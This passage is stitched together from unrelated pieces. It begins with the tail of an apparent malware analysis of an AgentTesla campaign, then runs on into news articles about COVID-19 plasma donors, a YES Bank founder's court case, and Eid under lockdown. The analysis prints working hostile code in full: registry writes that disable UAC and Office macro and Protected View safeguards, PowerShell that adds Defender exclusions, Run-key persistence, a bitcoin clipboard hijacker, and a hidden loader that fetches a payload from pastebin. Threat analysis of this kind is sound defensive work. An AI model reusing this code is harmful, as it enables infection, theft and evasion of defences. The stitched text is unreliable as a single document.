61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX, null, objConfig, intProcessID)

CreateObject(WScript.Shell).RegWrite HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA,0, REG_DWORD



Set wso = CreateObject(WScript.Shell)wso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE, 1, REG_DWORDwso.RegWrite HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE, 1, REG_DWORD

Code Snippet 5

As seen in the code a powershell command is hidden inside the variable named $cici, which is immediately converted from the decimal to the relative ascii value.

$userPath = $env:USERPROFILE$pathExclusions = New-Object System.Collections.ArrayList$processExclusions = New-Object System.Collections.ArrayList$pathExclusions.Add(C:\) > $null$processExclusions.Add(Msbuild.exe) > $null$processExclusions.Add(Calc.exe) > $null$processExclusions.Add(powershell.exe) > $null$processExclusions.Add(wscript.exe) > $null$processExclusions.Add(mshta.exe) > $null$processExclusions.Add(cmd.exe) > $null$projectsFolder = d:\Add-MpPreference -ExclusionPath $projectsFolderforeach ($exclusion in $pathExclusions){ Write-Host Adding Path Exclusion:  $exclusion Add-MpPreference -ExclusionPath $exclusion}foreach ($exclusion in $processExclusions){ Write-Host Adding Process Exclusion:  $exclusion Add-MpPreference -ExclusionProcess $exclusion}Write-Host Write-Host Your Exclusions:$prefs = Get-MpPreference$prefs.ExclusionPath$prefs.ExclusionProcess

Code snippet 6

In Code Snippet 6 we found a powershell code instructed to insert in the Microsoft Windows Anti-Malware exclusions the following processes: msbuild, calc, powershell, wscript, mshta and cmd.

Another script in this intricated chain is YL0je2fU:

<script language=VBScript>

CreateObject(WScript.Shell).RegWrite HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia, mshta vbscript:Execute(CreateObject(Wscript.Shell).Run powershell ((gp HKCU:\Software).mogale)|IEX, 0 : window.close), REG_SZ



CreateObject(Wscript.Shell).regwrite HKCU\Software\mogale, $cici=@(102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX , REG_SZ

Const HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell.exe ((gp HKCU:\Software).mogale)|IEX, null, objConfig, intProcessID)

self.close

</script>

Code Snippet 7

Even in this case there is a powershell script embedded in it using the same variable name $cici, but with the following body:

function isBitcoinAddress([string]$clipboardContent){ if($clipboardContent[0] -ne 1) { return $false }

$strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) { return $false }

$validRegex = ^[a-zA-Z0-9\s]+$ if($clipboardContent -cnotmatch $validRegex) { return $false }

return $true}$bitcoinAddresses = (19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W, 19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W, 19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W, 19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W, 19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W)$bitcoinAddressesSize = $bitcoinAddresses.length$i = 0$oldAddressSet = while(1){ $clipboardContent = Get-Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent -cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet = $bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize }}

Code Snippet 8

The script performs a constant check in the clipboard of the victim machine, looking for bitcoin addresses and some of them are also hardcoded. The last stage is UyFaSxgj:

<script language=VBScript>Const HIDDEN_WINDOW = 0strComputer = .Set objWMIService = GetObject(winmgmts: & {impersonationLevel=impersonate}!\\ & strComputer & \root\cimv2)Set objStartup = objWMIService.Get(Win32_ProcessStartup)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(winmgmts:root\cimv2:Win32_Process)errReturn = objProcess.Create( powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(h+t+t+p+s+:+/+/+p+a+s+t+e+b+i+n+.+c+o+m+/+r+a+w+/eyGv9x4B));$_Xpin=$_Xpin.replace(.,*!(@*#(!@#*).replace(*!(@*#(!@#*,0);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X), null, objConfig, intProcessID)

self.close

</script>

Code Snippet 9

This component spawn through powershell a script a binary file from a pastebin, eyGv9x4B, but, unfortunately, at the time of analysis, the paste has been removed.

This example could suggest to us the power of the malicious infrastructure built from the attacker, where components could be removed or replaced with another one in every moment.

The Payload

As previously stated, the final payload is AgentTesla. It remains one of the most adopted commodity malware instructed to steal a large number of sensitive information about the victim. During the past years, we constantly studied the evolution of this threat and we enumerated all the sensitive data grasped by it.

However, also in this case, we obtained the final payload and the configuration of the SMTP client where sends the stolen information:

Figure 13: Configuration of the AgentTesla SMTP client

The domain atn-com.pw has been created ad-hoc in order to manage the infection campaign. Studying the uptime of the domain we were able to reconstruct the infection campaign of the threat actor.



Figure 14: Information about the C2 uptime stats

As shown above, the domain has been registered on the last days of january and it has been active since the middle of April. After a short period of inactivity, it compared another time the 2nd of May since these days.

Conclusion

The actor hiding behind this campaign can undoubtedly be considered a persistent cyber-threat to many organizations operating in production sectors in Europe and, in the last months, also in Italy. Its intricate infection chain developed and tested during the years gave him the flexibility needed to bypass many layers of traditional security defences, manipulating the delivery infrastructure from time to time.

During the time, the actors delivery infrastructure was leveraged to install different kinds of malware: most of the time remote access trojans and info and credential stealing software. Such malware types are capable of enabling cyber-espionage and IP theft operations, potentially to re-sell stolen information on dark markets.

No doubt, we will keep going to track this threat.

Additional details, including IoCs and Yara rules are available here:

Pierluigi Paganini

(SecurityAffairs  Italian manufacturing, hacking)
The moment he learned his blood plasma could help novel coronavirus patients, 36-year-old Richard Garivey was all in.

Recovering from COVID-19 himself, he heard about a study at Houston Methodist involving a process that has shown success with other illnesses.

About two months later, he is now an 11-time blood plasma donor.

If I can help somebody, Im going to help somebody, Garivey, of Alvin, said. Theres no ifs ands or buts about it.

Garivey is one of 205 recovered patients involved in the hospitals study, the majority of whom are multiple-time donors. He hopes his donations have helped  each transfusion is enough for two patients, physicians say, meaning 22 people have received or could receive Gariveys plasma.

The process, called convalescent serum therapy, uses former patients blood plasma as a treatment for people still ill with a disease. Dating back to the 1918 Spanish Influenza and documented in research, plasma transfusions are meant to transfer healing powers from plasmas antibodies, which are made by the immune system to attack infection.

Houston Methodists study has already found the plasma transfusions for COVID-19 patients to be safe. That study has been peer-reviewed, said Dr. Jim Musser, a study leader, and doctors are now determining whether the treatment is effective.

More Information If you're interested in participating in the study, call Houston Methodist at 346-238-4360. See More Collapse

Of the first 25 critically ill patients who received the treatment, more than three quarters have recovered, according to the study. In Mussers eyes, that makes the donors heroes.

Theyre honestly giving at this point the most important thing that they can, with respect to helping individuals who are afflicted with this terrible virus, Musser said. Theyre giving them the potential for a better outcome.

Super donors

Like Garivey, Conner Scott has returned time and time again to give. Plasma is the liquid portion of blood, and red and white blood cells and platelets suspend in it, according to the American Red Cross.

While he was sick at his apartment in College Station, Scott read about the therapy online and ran a Google search of studies in the area. The 20-year-old Texas A&M University student found Houston Methodists study, and he has since become familiar with the long drive to the Texas Medical Center as well as the faces of the people who work at the hospital.

Each time, Scott fills out a packet for returning patients, runs preliminary tests, and sits down for the donation, all lasting about an hour, he said. For him, its the least he can do.

Its pretty selfish if I have something that could help people and Im not doing anything about it, he said, just before his seventh donation.

The process is similar to donating blood, but plasma donors are hooked up to a device that removes plasma and returns red blood cells back to the body at the same time, Musser said.

In all, one donation nets one quart of plasma. People can donate more frequently than they can in regular blood donations because they dont have to wait for red blood cells to replenish, according to Houston Methodist.

Between two-thirds and three-fourths of the 100 patients who have received plasma donations have been released from the hospital, Musser said. And Methodist can always use more donors, especially to accommodate for people with rare blood types, he said.

At first, Scott went twice a week, but the Methodist staff has scaled him back to about once a week because his plasma is carrying fewer and fewer antibodies from the disease. Garivey is on a once-a-week schedule for the same reason.

Each donor is paid a flat reimbursement for the costs of their time, Musser said. The most anyone has donated is 11 times, he said.

That person  Garivey  said hes been told his antibody count is extremely high. He contracted the virus at the Rodeo Houston Cookoff, he said, and only had mild symptoms of the disease.

While holed up for 14 days, he watched TV news and realized how much other people were suffering, even though he would end up recovering well.

Once I realized how it affects people in so many different ways I felt I was more inclined to help, he said. If one of my kids were sick and I couldnt help them but somebody else could, I would be begging them.

samantha.ketterer@chron.com
The Bombay high court (HC) on Friday directed the special Prevention of Money Laundering Act (PMLA) court to pass appropriate orders on the prosecution complaint lodged by the enforcement directorate (ED) against Rana Kapoor, former chief executive officer (CEO) of YES Bank.

Justice SK Shinde requested the special court to pre-pone the scheduled date in the matter to May 23, peruse the prosecution complaint and pass an appropriate order on it.

The directive came following a plea filed by ED, after the agency moved HC, challenging the May 6 order of the special court to handover a copy of the prosecution complaint along with its annexures to Kapoor. EDs counsel Hiten Venegaonkar submitted that the special court did not take cognisance of its prosecution complaint on May 6 and it could not have ordered the agency to give the documents to the accused without first taking cognisance of their complaint.

Kapoor also moved HC seeking a declaration that his detention in custody from May 6 onwards was illegal, in as much as, the special court could not have remanded him to custody, without first taking cognisance of the prosecution complaint.

In pursuance of the first information report (FIR) registered by the Central Bureau of Investigation (CBI) on March 7, ED registered an Enforcement Case Information Report (ECIR) the next day against Kapoor and others and started investigations under PMLA.

Accordingly, ED arrested Kapoor on March 8 and produced him before the special PMLA court. He was initially remanded to EDs custody till March 11 and thereafter sent to judicial custody.

The YES Bank founder is accused of misusing his position as the banks CEO for obtaining undue benefits. He allegedly entered into a criminal conspiracy with the Dewan Housing Finance Limited (DHFL) promoters Dheeraj and Kapil Wadhawan for extending financial assistance to DHFL through YES Bank in return for substantial undue benefits to himself and his family members through companies held by them. He allegedly received kickbacks worth 600 crore from the Wadhawan brothers.
Muslims worldwide will celebrate one of their biggest holidays under the long shadow of the coronavirus, with millions confined to their homes and others gripped by economic concerns during what is usually a festive time of shopping and celebration.

The three-day Eid al-Fitr marks the end of the fasting month of Ramzan for the world's 1.8 billion Muslims. People usually celebrate by travelling, visiting family and gathering for lavish meals all of which will be largely prohibited as authorities try to prevent new virus outbreaks.

The holiday will begin on Saturday or Sunday, depending on the sighting of the new moon, and the dawn-to-dusk fasting of Ramadan will come to an end.

Some countries, including Turkey, Iraq and Jordan, will impose round-the-clock curfews for the duration of the holiday. In Saudi Arabia home to the holy cities of Mecca and Medina people will only be allowed to leave their homes to buy food and medicine.

But even in countries that have largely reopened, the holiday won't be the same.

Most restrictions have been lifted in Jerusalem, but the Al-Aqsa mosque compound the third holiest site in Islam will remain closed until after the holiday. Shopkeepers in the Old City, which has been emptied of tourists and pilgrims since March, are reeling from the effects of six weeks of lockdown.

The Jafar family's famous sweets shop in the Old City is normally a hive of activity, with tourists and locals enjoying knafeh, a syrupy cheese-filled pastry. These days the seating area is empty and dark as only takeout is allowed.

"It had a huge impact on us, said Ali Jafar, one of the owners, as he worked the counter. He said business has dropped by more than two thirds, forcing them to lay off 10 workers.

In Egypt, authorities have extended the nighttime curfew, which will now begin at 5 pm instead of 9 pm, and halted public transportation until May 29. Shopping centers, malls, beaches and parks which would ordinarily be packed will be closed.

Manal Zakaria, who lives in the city of Alexandria on the Mediterranean coast, said her family usually celebrates by gathering for big meals, singing, dancing and taking group photos.

I am very, very, very sad because I will not be seeing my siblings and their children," she said. "No matter how much we talk over the phone, there is nothing like coming together.

The virus causes mild to moderate symptoms in most people, who recover within a few weeks. But it is highly contagious and can cause severe illness or death, particularly in older patients or those with underlying health problems.

In Indonesia, the largest Muslim-majority country, President Joko Widodo said restrictions would remain in place through the holiday. The country, with a population of 270 million, has reported more than 18,000 cases, including around 1,200 deaths.

I emphasize, there is no relaxing the policy of large-scale social restriction yet, Widodo said during a virtual Cabinet meeting on Monday.

Since the start of the Ramzan, the government has imposed an outright ban on mudik, a holiday tradition in which millions of Indonesians living in big cities flock to their hometowns to celebrate with relatives. Health experts had warned it could set off a wave of new cases.

This ongoing pandemic has changed our tradition, separated us in celebrating Eid, said Noor Hidayat Asri, a civil servant in Indonesia's capital, Jakarta. We are like dealing with a merciless and invisible enemy this time around.

